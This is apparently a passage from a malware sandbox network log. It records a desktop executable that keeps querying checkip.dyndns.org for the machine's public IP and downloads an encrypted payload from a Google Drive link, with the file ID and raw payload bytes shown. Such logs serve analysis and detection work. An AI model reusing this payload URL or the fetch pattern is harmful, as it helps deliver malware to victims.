Jan 10, 2025 22:14:32.872109890 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 21:14:32 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49981	132.226.8.169	80	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:14:34.020164013 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 22:14:34.988560915 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 21:14:34 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49983	132.226.8.169	80	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:14:36.013865948 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 22:14:36.889926910 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 21:14:36 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49985	132.226.8.169	80	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:14:37.933798075 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 22:14:39.060758114 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 21:14:38 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49987	132.226.8.169	80	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:14:40.039592981 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 22:14:40.847826958 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 21:14:40 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49989	132.226.8.169	80	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:14:41.747735977 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 22:14:42.572724104 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 21:14:42 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49991	132.226.8.169	80	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:14:43.522624016 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 22:14:44.362341881 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 21:14:44 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49993	132.226.8.169	80	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:14:45.297108889 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 22:14:46.148102999 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 21:14:46 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49995	132.226.8.169	80	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:14:47.268685102 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 22:14:48.297692060 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 21:14:48 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49997	132.226.8.169	80	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:14:49.280750036 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 22:14:50.103286982 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 21:14:49 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49999	132.226.8.169	80	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:14:51.064979076 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 22:14:52.240042925 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 21:14:52 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	50001	132.226.8.169	80	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:14:53.641976118 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 22:14:54.498096943 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 21:14:54 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	50003	132.226.8.169	80	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:14:55.533571005 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 22:14:56.362341881 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 21:14:56 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	50005	132.226.8.169	80	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:14:57.389036894 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 22:14:58.223989964 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 21:14:58 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	50007	132.226.8.169	80	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:14:59.161710978 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 22:15:00.047101974 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 21:14:59 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	50009	132.226.8.169	80	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:15:00.982326984 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49970	142.250.186.110	443	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:14:13 UTC	216	OUT	GET /uc?export=download&id=1WxElmKXXL7CIzaDrqhpdM8ML23VzYG37 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2025-01-10 21:14:14 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 21:14:13 GMT Location: https://drive.usercontent.google.com/download?id=1WxElmKXXL7CIzaDrqhpdM8ML23VzYG37&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-HaMsUGxkwbJRgoDnFda1ug' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49971	142.250.185.65	443	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:14:14 UTC	258	OUT	GET /download?id=1WxElmKXXL7CIzaDrqhpdM8ML23VzYG37&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-10 21:14:17 UTC	4933	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AFIdbgSm7GOn4sY3dEvgQgoXnmYWQKyhEFwzVL8KgzboiYokO7zy1qcou8CtqaZTgwYuTgVC Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="PNyXpNcHnfC47.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 94272 Last-Modified: Tue, 10 Dec 2024 20:28:31 GMT Date: Fri, 10 Jan 2025 21:14:16 GMT Expires: Fri, 10 Jan 2025 21:14:16 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=uOnRaw== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-10 21:14:17 UTC	4933	IN	Data Raw: a8 ef 9d 61 3a ad 3e 33 92 5a 73 a2 08 0c 2b ef 03 cd 69 80 5d 4b d6 b4 ec ef e4 58 ae a7 01 f5 cd 61 c5 85 99 18 c1 11 89 c8 2f 64 d5 a8 41 db 1d f1 a0 9b b7 fe 68 91 62 4f b0 e3 0b c1 c7 d1 d2 52 2b f9 0f 82 30 8f 72 7e 9e ab bf bf db 56 4c 0f 67 ff 65 bd b0 c0 27 dd 6f 9d 9a 00 8c cd db 27 dd 1c 50 bd ed 53 95 cf 5f 22 42 2d 3a 15 db f2 70 f9 48 e8 83 0a 25 9b 7a df eb 68 0d 07 f1 2e a8 4d d9 d4 36 ae e8 e2 19 62 4f 9c 7d 6e 8c bb 72 a6 56 b7 dc 10 88 e5 13 39 32 e4 fb 07 bb c5 55 91 ae 17 22 45 dd f2 64 1f 94 1f b0 a4 b7 24 aa 67 4e 24 d2 89 17 01 f0 71 d2 8a ca 36 a3 a6 7d d1 e3 18 32 8f 3a 53 13 2c 93 de 29 b8 28 f9 6e 41 5d bc c1 71 48 d2 70 db ee 95 75 f7 96 45 b1 e2 d1 50 1f e1 0c 27 ca 13 14 2f b2 34 b8 27 aa 02 82 e1 78 ab 44 ec 14 fc 78 03 77 Data Ascii: a:>3Zs+i]KXa/dAhbOR+0r~VLge'o'PS_"B-:pH%zh.M6bO}nrV92U"Ed$gN$q6}2:S,)(nA]qHpuEP'/4'xDxw
2025-01-10 21:14:17 UTC	4830	IN	Data Raw: 70 09 0b 5a cf ab a1 ee 8e 68 6c 05 f9 ea cc 83 6f b4 cd 32 c7 4d 9e 2b e8 7c 0d dd 63 f9 6f a4 05 3a db 8c 26 4f 18 a6 45 11 67 e5 58 e3 26 31 25 23 70 9c f6 f5 f9 8c fe 81 d1 74 29 e1 04 7b e7 97 31 8e 0c b3 be 32 bd c2 10 a7 af cc a9 fe 16 91 27 8d 37 db e3 ed 26 13 92 98 07 fd c1 2c 01 e8 31 c3 5e 15 a6 94 36 33 0a e5 6d 2e ac b8 5e 72 4e cf f1 a2 7d b7 7e e1 03 bc a1 7d 6e 76 b3 e9 f6 58 6e f5 a3 06 cb fe 23 05 38 7b 99 e6 ab 9c c3 ae eb 4a 0d 94 18 52 07 30 50 99 75 27 1f c7 f3 33 fa 6d 66 96 5e d7 b2 06 19 e9 ee 4c c8 af 66 7e d3 a5 27 e9 5f ee 30 37 d4 0d fd 2b 44 fd 18 cb 8d aa 2d 31 25 70 e3 df 11 6c ff 89 31 7e 04 17 72 87 b1 d5 7a 24 81 67 a7 0b 28 4d b9 81 d6 dd 25 ef 98 6e 33 73 78 ce 02 5e b2 ec 08 a3 35 e6 90 35 c9 73 80 a1 84 12 33 b2 79 Data Ascii: pZhlo2M+\|co:&OEgX&1%#pt){12'7&,1^63m.^rN}~}nvXn#8{JR0Pu'3mf^Lf~'_07+D-1%pl1~rz$g(M%n3sx^55s3y
2025-01-10 21:14:17 UTC	1324	IN	Data Raw: 2f b5 8e 14 bd d6 e5 37 37 b6 08 dc f8 97 1c 2c ae d0 d2 34 d1 12 da 38 36 22 29 33 31 c3 38 fb 6f b3 61 14 b3 13 7b 98 7b 76 4e 18 e9 1f 85 56 a6 bd c6 f7 8d 54 16 86 44 ba 8e a4 4f 9c 8f 37 0f 6e 5b 0f 6d 5d 4c 23 9b 4c 25 34 86 0b 13 ce 7b f6 c2 e4 70 5d b1 69 15 cd 07 71 d8 38 44 c8 26 cd 85 0b b9 40 d0 4b 38 e6 ce 7a 1e 6d dd 22 fb d7 c8 23 b8 9f d6 c3 9f 0c c5 aa 0c 82 3a a7 22 7e 9e a1 4b 47 c8 53 e5 0a 4b f2 67 c6 fa c0 67 d9 47 4e 9a 00 86 cd db 27 df 67 18 bd ed 57 eb 9c 5f 22 48 05 6e 15 db f8 7c f1 5b ee 92 0c 09 96 78 a4 23 68 0d 03 d7 e2 12 43 d3 60 3f 63 cb 21 54 2e 82 b9 57 55 e5 c8 58 fe 70 d8 bb 68 e4 81 20 5d 42 8d b9 65 cd 9e 7b f4 8e 61 7f f8 fd 9b 00 3f d0 50 c9 84 da 50 fe 08 60 03 de 83 33 24 f0 71 c3 8a c8 48 ce e3 7d d5 d1 27 31 Data Ascii: /77,486")318oa{{vNVTDO7n[m]L#L%4{p]iq8D&@K8zm"#:"~KGSKggGN'gW_"Hn\|[x#hC`?c!T.WUXph ]Be{a?PP`3$qH}'1
